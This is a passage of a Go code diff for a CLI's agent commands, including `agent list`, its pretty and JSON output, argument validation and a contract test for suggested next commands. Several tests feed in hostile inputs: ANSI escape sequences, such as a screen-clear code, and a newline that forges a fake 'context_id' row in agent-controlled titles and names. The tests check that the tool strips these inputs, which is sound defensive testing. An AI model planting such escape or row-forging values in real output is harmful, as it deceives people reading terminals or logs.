+		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
+	}
+}
+
+// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
+// the context title row.
+func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagent.ContextDetail{
+		ContextID: "sess_1",
+		Title:     "标题\ncontext_id: forged",
+	})
+	var idLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "context_id: ") {
+			idLines++
+		}
+	}
+	if idLines != 1 {
+		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
+	}
+}
+
+// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
+func TestPrintTaskPretty_NilTask(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, nil)
+	if out.Len() == 0 {
+		t.Error("nil task should print a placeholder line")
+	}
+}
+
+// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
+// naming the json fields, then one tab-separated row per task.
+func TestPrintTaskSummariesTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskSummariesTSV(out, []iagent.TaskSummary{
+		{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
+	})
+	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
+	if len(lines) != 2 {
+		t.Fatalf("should have a header + 1 data row, got %q", out.String())
+	}
+	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
+		t.Errorf("header columns should match the json field names, got %q", lines[0])
+	}
+	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
+		t.Errorf("data row mismatch, got %q", lines[1])
+	}
+}
+
+// TestPrintContextsTSV pins the context-list pretty spec: header row plus
+// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
+// review fix).
+func TestPrintContextsTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextsTSV(out, []iagent.ContextSummary{
+		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
+	})
+	text := out.String()
+	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
+		t.Errorf("should have a header row, got %q", text)
+	}
+	if !strings.Contains(text, "销售分析") {
+		t.Errorf("should contain the title text, got %q", text)
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
+	}
+}
+
+// TestPrintContextDetailPretty pins the context-get pretty rendering:
+// key: value lines with the tasks count, title ANSI-stripped.
+func TestPrintContextDetailPretty(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagent.ContextDetail{
+		ContextID: "sess_1",
+		CreatedAt: "2026-07-05T10:00:00+08:00",
+		Title:     "\x1b[31m分析\x1b[0m",
+		Tasks:     []iagent.TaskSummary{{TaskID: "chat_1"}},
+	})
+	text := out.String()
+	for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in title must be stripped: %q", text)
+	}
+}
+
+// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
+// built from the real command path + Use shape, so the caller learns what is
+// missing instead of cobra's bare "accepts 2 arg(s)".
+func TestExactArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("task get with a single argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+}
+
+// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
+// (`agent list [scheme]`).
+func TestMaximumArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agent", "list", "example", "extra"})
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("list with more than 1 positional argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+}

cmd/agent/list.go

@@ -0,0 +1,199 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// providerInfo describes a registered provider adapter in `agent list` output.
+// Every field is sourced from the registered iagent.ProviderInfo (the single
+// source of truth).
+type providerInfo struct {
+	Scheme         string `json:"scheme"`
+	Label          string `json:"label"`
+	AgentRefFormat string `json:"agent_ref_format"`
+	Kind           string `json:"kind"`
+	AgentIDSource  string `json:"agent_id_source"`
+}
+
+// listOptions holds all inputs for `agent list [scheme]`.
+type listOptions struct {
+	Factory *cmdutil.Factory
+	Cmd     *cobra.Command
+	Scheme  string
+	Format  string
+}
+
+// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
+// enumerates the registered provider adapters with their metadata — a
+// pure, API-free listing. With a scheme it performs second-level discovery:
+// providers implementing Discoverer enumerate their agents;
+// others return unsupported_capability with the agent_id_source
+// guidance. Risk=read.
+func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
+	opts := &listOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list [scheme]",
+		Short: "List registered agent providers, or enumerate the agents under one provider",
+		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
+		Args:  maximumArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			if len(args) == 1 {
+				opts.Scheme = args[0]
+			}
+			return agentListRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
+// provider's agents (second-level discovery); without it renders the provider
+// listing. JSON envelope is the default; `pretty` is the opt-in human view.
+func agentListRun(opts *listOptions) error {
+	if opts.Scheme != "" {
+		return agentListSchemeRun(opts)
+	}
+
+	f := opts.Factory
+	providers := listProviders()
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
+		}
+		// agent_id_source is a full sentence — a TSV column would blow out the
+		// row width, so surface it as a per-provider footer instead. This is the
+		// single most important "where do I get an agent_id" cue for newcomers
+		// and must not vanish in the human-readable view.
+		fmt.Fprintln(f.IOStreams.Out)
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
+		}
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:     true,
+		Data:   map[string]interface{}{"providers": providers},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
+// provider. The Discoverer probe runs BEFORE any client construction so a
+// provider without discovery support returns its precise
+// unsupported_capability error even in an unconfigured environment — aligned
+// with the validation-before-config-gate principle. Only a provider that
+// does implement Discoverer needs a configured client for the real ListAgents
+// call.
+func agentListSchemeRun(opts *listOptions) error {
+	f := opts.Factory
+	info, ok := iagent.Info(opts.Scheme)
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 agent provider '%s'，当前支持: %s",
+			opts.Scheme, iagent.KnownSchemes()).
+			WithHint("用 lark-cli agent list 查看可用 provider")
+	}
+	if !probeDiscoverer(info) {
+		return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
+			"provider '%s' 暂不支持列举 agent", opts.Scheme).
+			WithHint("%s", info.AgentIDSource)
+	}
+
+	// The real ListAgents call carries the resolved identity, aligned with
+	// resolveProvider (common.go) — a provider must never see a zero As on an
+	// API-bound instance.
+	id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return err
+	}
+	p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
+	}
+	agents, err := p.ListAgents(opts.Cmd.Context())
+	if err != nil {
+		return err
+	}
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		// Name/Description are agent-controlled remote strings — ANSI-strip
+		// them before writing to the terminal.
+		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
+		for _, a := range agents {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
+		}
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:     true,
+		Data:   map[string]interface{}{"agents": agents},
+		Meta:   &output.Meta{Count: len(agents)},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// probeDiscoverer reports whether the provider built by info can enumerate its
+// agents (wires ListAgents). The probe instance is constructed with empty Deps
+// and an empty agentID — no client is needed to read a field, which keeps the
+// probe usable before config init. A factory error means the capability cannot
+// be confirmed, so it degrades to not discoverable.
+func probeDiscoverer(info iagent.ProviderInfo) bool {
+	p, err := info.Factory(iagent.Deps{}, "")
+	if err != nil || p == nil {
+		return false
+	}
+	return p.ListAgents != nil
+}
+
+// listProviders builds the provider descriptors from the built-in registry so
+// the listing stays in sync with whatever adapters are registered.
+func listProviders() []providerInfo {
+	schemes := iagent.RegisteredSchemes()
+	out := make([]providerInfo, 0, len(schemes))
+	for _, s := range schemes {
+		// s comes from RegisteredSchemes, so Info always succeeds.
+		info, _ := iagent.Info(s)
+		out = append(out, providerInfo{
+			Scheme:         s,
+			Label:          info.Label,
+			AgentRefFormat: info.AgentRefFormat,
+			Kind:           string(info.Kind),
+			AgentIDSource:  info.AgentIDSource,
+		})
+	}
+	return out
+}

cmd/agent/list_test.go

@@ -0,0 +1,428 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// listFactory returns a Factory writing to a fresh stdout buffer plus a
+// listOptions bound to it, ready to drive agentListRun without any API.
+func listFactory() (*listOptions, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	return &listOptions{Factory: f, Format: "json"}, out
+}
+
+// decodeProviders unmarshals the envelope on out and returns data.providers.
+func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
+	t.Helper()
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	data, _ := env.Data.(map[string]interface{})
+	providers, _ := data["providers"].([]interface{})
+	return providers
+}
+
+// findProvider returns the provider entry whose scheme matches, or nil.
+func findProvider(providers []interface{}, scheme string) map[string]interface{} {
+	for _, pv := range providers {
+		p, _ := pv.(map[string]interface{})
+		if p["scheme"] == scheme {
+			return p
+		}
+	}
+	return nil
+}
+
+// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
+// example entry carries all fields sourced from iagent.Info (the single source
+// of truth), the legacy free-text description field is gone, and discoverable
+// is no longer exposed.
+func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	info, ok := iagent.Info("example")
+	if !ok {
+		t.Fatal("the example provider should already be registered (blank import in agent.go)")
+	}
+	p := findProvider(decodeProviders(t, out), "example")
+	if p == nil {
+		t.Fatalf("list should include the example provider: %s", out.String())
+	}
+	if p["label"] != info.Label {
+		t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
+	}
+	if p["agent_ref_format"] != info.AgentRefFormat {
+		t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
+	}
+	if p["kind"] != string(info.Kind) {
+		t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
+	}
+	if p["agent_id_source"] != info.AgentIDSource {
+		t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
+	}
+	if _, present := p["description"]; present {
+		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
+	}
+	if _, present := p["discoverable"]; present {
+		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
+	}
+}
+
+// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
+// data.providers[] with the full field contract.
+func TestAgentListRun_EnvelopeShape(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	providers := decodeProviders(t, out)
+	if len(providers) == 0 {
+		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
+	}
+	first, ok := providers[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("provider entry should be an object, got %T", providers[0])
+	}
+	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
+		if _, present := first[key]; !present {
+			t.Errorf("provider entry missing field %q: %v", key, first)
+		}
+	}
+	if _, present := first["discoverable"]; present {
+		t.Errorf("provider entry should not contain a discoverable field: %v", first)
+	}
+}
+
+// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
+// without --format emits the JSON envelope (pretty is opt-in).
+func TestAgentListDefaultFormatIsJSON(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetArgs([]string{})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agent list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
+// row plus tab-separated provider lines, not a JSON envelope.
+func TestAgentListRun_PrettyFormat(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	opts := &listOptions{Factory: f, Format: "pretty"}
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list pretty should not error: %v", err)
+	}
+	text := out.String()
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.HasPrefix(text, "SCHEME") {
+		t.Errorf("pretty output should start with a header row: %s", text)
+	}
+	if !strings.Contains(text, "example") {
+		t.Errorf("pretty output should contain the example provider: %s", text)
+	}
+	if !strings.Contains(text, "example:<agent_id>") {
+		t.Errorf("pretty output should contain the example ref format: %s", text)
+	}
+	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
+	// "where do I get an agent_id" cue does not disappear in the pretty view.
+	if !strings.Contains(text, "agent_id 获取") {
+		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
+	}
+}
+
+// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
+// on a provider without Discoverer is unsupported_capability (exit 2) with the
+// AgentIDSource text as hint, and — because the probe runs before any client
+// construction — works on an unconfigured Factory.
+func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
+	registerScripted()
+	opts, _ := listFactory()
+	opts.Scheme = "fakeflow"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be 2, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
+		t.Errorf("message should state that listing is not supported, got %q", err.Error())
+	}
+	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
+		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
+	}
+}
+
+// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
+// invalid_argument and the message lists the registered schemes.
+func TestAgentListScheme_UnknownScheme(t *testing.T) {
+	opts, _ := listFactory()
+	opts.Scheme = "nosuch"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
+		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
+	}
+	// Hand-written validation errors carry a recovery hint pointing at
+	// `agent list` for provider discovery.
+	if !strings.Contains(p.Hint, "agent list") {
+		t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
+	}
+}
+
+// stubCore wires the mandatory core fields onto a test *Provider; the list
+// tests never dispatch Send/GetTask (they only exercise ListAgents), but
+// Register requires both non-nil.
+func stubCore(p *iagent.Provider) *iagent.Provider {
+	p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
+	p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
+	return p
+}
+
+// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
+// `agent list <scheme>` positive path without a real catalog provider.
+func newFakeDisc() *iagent.Provider {
+	return stubCore(&iagent.Provider{
+		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
+			return []iagent.AgentSummary{
+				{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
+				{AgentRef: "fakedisc:a2", Name: "Agent Two"},
+			}, nil
+		},
+	})
+}
+
+// registerFakeDisc registers the fakedisc scheme. Like fakepause in
+// send_test.go this leaks into the package-level registry for the remaining
+// tests of this package run — so no test in this package may assert an exact
+// provider set or provider count.
+func registerFakeDisc() {
+	iagent.Register("fakedisc", iagent.ProviderInfo{
+		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
+		Label:          "test fake (discoverer)",
+		AgentRefFormat: "fakedisc:<agent_id>",
+		AgentIDSource:  "test only",
+		Kind:           iagent.KindCatalog,
+		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
+	})
+}
+
+// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
+// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
+// meta.count.
+func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
+	registerFakeDisc()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedisc should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	agents, ok := data["agents"].([]interface{})
+	if !ok || len(agents) != 2 {
+		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
+	}
+	first, _ := agents[0].(map[string]interface{})
+	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
+		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
+// provider rebuilt for the real ListAgents call must carry the resolved
+// identity in its Deps (aligned with resolveProvider), not a zero As.
+func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
+	var captured iagent.Deps
+	iagent.Register("fakedeps", iagent.ProviderInfo{
+		Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
+			captured = deps
+			return newFakeDisc(), nil
+		},
+		Label:          "test fake (deps capture)",
+		AgentRefFormat: "fakedeps:<agent_id>",
+		AgentIDSource:  "test only",
+		Kind:           iagent.KindCatalog,
+		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedeps should not error: %v", err)
+	}
+	if captured.As == "" {
+		t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
+	}
+	if captured.As != f.ResolvedIdentity {
+		t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
+	}
+}
+
+// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
+// to pin the pretty-path sanitization of agent-controlled fields.
+func newDirtyName() *iagent.Provider {
+	return stubCore(&iagent.Provider{
+		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
+			return []iagent.AgentSummary{
+				{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
+			}, nil
+		},
+	})
+}
+
+// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
+// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
+// Name/Description before they reach the terminal.
+func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
+	iagent.Register("fakedirty", iagent.ProviderInfo{
+		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
+		Label:          "test fake (dirty names)",
+		AgentRefFormat: "fakedirty:<agent_id>",
+		AgentIDSource:  "test only",
+		Kind:           iagent.KindCatalog,
+		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedirty pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
+		t.Errorf("readable text should remain after stripping, got %q", text)
+	}
+}
+
+// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must be registered on `agent list` and filter the envelope.
+func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"--jq", ".ok"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agent list --jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "true" {
+		t.Errorf("--jq .ok should output only true, got %q", got)
+	}
+}
+
+// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
+// of --format, the --jq flag presence, and that list takes at most one
+// positional arg (the scheme).
+func TestNewCmdAgentList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agent list should have a --format flag")
+	}
+	if fl.DefValue != "json" {
+		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("jq") == nil {
+		t.Error("agent list should have a --jq flag")
+	}
+	if err := cmd.Args(cmd, []string{}); err != nil {
+		t.Errorf("agent list with no args should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example"}); err != nil {
+		t.Errorf("agent list <scheme> should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
+		t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
+	}
+}

cmd/agent/next_contract_test.go

@@ -0,0 +1,218 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"strings"
+	"testing"
+
+	iagent "github.com/larksuite/cli/internal/agent"
+)
+
+// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
+// contract test automatically covers any future nextForTask branch keyed on a
+// state instead of relying on hand-picked samples.
+var allTaskStates = []iagent.TaskState{
+	iagent.StateSubmitted,
+	iagent.StateWorking,
+	iagent.StateInputRequired,
+	iagent.StateAuthRequired,
+	iagent.StateCompleted,
+	iagent.StateFailed,
+	iagent.StateCanceled,
+	iagent.StateRejected,
+	iagent.StateUnknown,
+}
+
+// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
+// every next command emitted by nextForTask — across all 9 task states, with
+// and without a context id, template hints included (their <...> placeholders
+// are single space-free tokens, so they parse as ordinary flag values) — must
+// traverse and flag-parse against the real agent command tree. meta.next is
+// defined as "AI executes this verbatim", so a next that references a
+// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
+// at build time instead of by a failing acceptance run.
+func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
+	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
+	// credentials; all meta.next commands live under `lark-cli agent ...`).
+	agentTree := NewCmdAgent(nil)
+
+	for _, state := range allTaskStates {
+		for _, ctxID := range []string{"", "conversation_1"} {
